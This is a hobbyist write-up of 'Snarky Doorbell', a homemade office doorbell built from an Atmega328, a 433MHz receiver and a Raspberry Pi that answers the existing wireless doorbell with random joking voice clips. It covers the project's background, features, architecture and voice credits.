Snarky Doorbell is a custom-built smart IoT office doorbell.

Instead of the usual monotonic “ding-dong”, it has personality: when the doorbell is rung, it responds with a snarky voice comment in the style of “Ooo, this must be the pizza we ordered!” or “The developer who gets up and opens the door is immune from the next team meeting invite!” or “Another victim arrives….muahahahaha!”.

How it Operates

The doorbell is installed to the office space and “listens” to the already existing wireless doorbell ring button we have behind the door. When a visitor rings the doorbell, first the “regular” doorbell rings and a second later, the Snarky Doorbell enhances that ring with a snarky voice comment.

Background

I used to sit very close to the office’s outer door. As we had no secretary, it was often me, who answered the door. I was annoyed by the repeating “ding-dong” ringtone and was motivated to do something about it: what if the doorbell could speak, and express its feelings? What if I built my own doorbell, that was snarky?

I had previously messed around with our wireless doorbell and thought it would be a quick and easy project. Boy, was I wrong - it took over two years to complete it, with various technical challenges.

The Build

The build process took over two years of intermittent tinkering.

Features

Several custom voice personals (“Easily excitable manager”, “Old lady”)
Settings (voice, language, volume) can be changed via knobs on the front panel
Built-in WiFi HTTP RESTful API server (statistics on doorbell rings)
Open source project plans
Non-intrusive integration with the existing doorbell system (uses the same doorbell button)

Architecture

Our wireless doorbell is a pretty standard one - when the ring button is pressed, it sends a ASK-encoded signal over 433MHz radio frequency to the doorbell unit, which listens to it and rings.

Snarky Doorbell is, in essence, another signal receiver. In the doorbell, there is an Atmega328 chip with a 433MHz receiver, that constantly listens for incoming signals. When a signal from the doorbell remote is detected, the module outputs a HIGH signal, that is then sent to a Raspberry Pi pin.

The Pi activates and plays a pre-recorded, randomly picked .wav file as the ringtone through a connected 3.5mm speaker.

The doorbell is enclosed in a wooden enclosure. Front panel has three rotary encoders for controlling doorbell volume, current voice persona and settings.

Credits

The following awesome people gave the doorbell their voice:

Julian Linke
Maarit Cimolonskas
Harles Paesüld
Tormi Tuuling
Kaupo Toom
Ken Kanarik
Nele Sergejeva
Ando Roots
Maria Liiger
Rauno Meronen
Tanel Sirp
Toivo Värbu